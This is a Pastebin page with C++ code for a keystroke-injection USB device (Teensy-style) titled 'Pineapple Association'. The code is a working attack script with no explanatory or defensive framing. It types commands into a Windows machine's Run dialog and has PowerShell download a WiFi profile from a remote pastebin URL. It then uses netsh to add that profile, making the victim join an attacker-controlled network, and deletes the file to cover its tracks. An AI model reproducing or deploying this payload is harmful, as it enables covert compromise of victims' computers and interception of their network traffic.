Advertisement
Xcellerator

Pineapple Association

Dec 11th, 2012
4,365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.25 KB | None | 0 0
  1. void setup() {
  2.  delay(5000);
  3.  run_command();
  4.  delay(500);
  5.  Keyboard.print("cmd.exe");
  6.  enter_key();
  7.  delay(500);
  8.  Keyboard.print("cd %TEMP%");
  9.  enter_key();
  10.  delay(500);
  11.  Keyboard.print("powershell (new-object System.Net.WebClient).DownloadFile('http://pastebin.com/raw.php?i=8WsHSWdZ','%TEMP%\\a.xml')");
  12.  enter_key();
  13.  delay(3000);
  14.  Keyboard.print("netsh wlan add profile filename=");
  15.  Keyboard.write(34);
  16.  Keyboard.print("a.xml");
  17.  Keyboard.write(34);
  18.  Keyboard.print(" interface=");
  19.  Keyboard.write(34);
  20.  Keyboard.print("Wireless Network Connection");
  21.  Keyboard.write(34);
  22.  enter_key();
  23.  delay(500);
  24.  Keyboard.print("del a.xml");
  25.  enter_key();
  26.  delay(500);
  27.  Keyboard.print("exit");
  28.  enter_key();
  29. }
  30.  
  31. void loop() {
  32.   digitalWrite(PIN_D6, LOW);   // LED on
  33.   delay(random(1000));         // Slow Blink
  34.   digitalWrite(PIN_D6, HIGH);  // LED off
  35.   delay(random(1000));
  36. }
  37.  
  38. void run_command() {
  39.   Keyboard.set_modifier(MODIFIERKEY_GUI);
  40.   delay(500);
  41.   Keyboard.set_key1(KEY_R);
  42.   Keyboard.send_now();
  43.   clear_keyboard();
  44. }
  45.    
  46. void clear_keyboard() {
  47.   Keyboard.set_modifier(0);
  48.   Keyboard.set_key1(0);
  49.   Keyboard.send_now();
  50. }
  51.  
  52. void enter_key() {
  53.   Keyboard.set_key1(KEY_ENTER);
  54.   Keyboard.send_now();
  55.   clear_keyboard();
  56. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement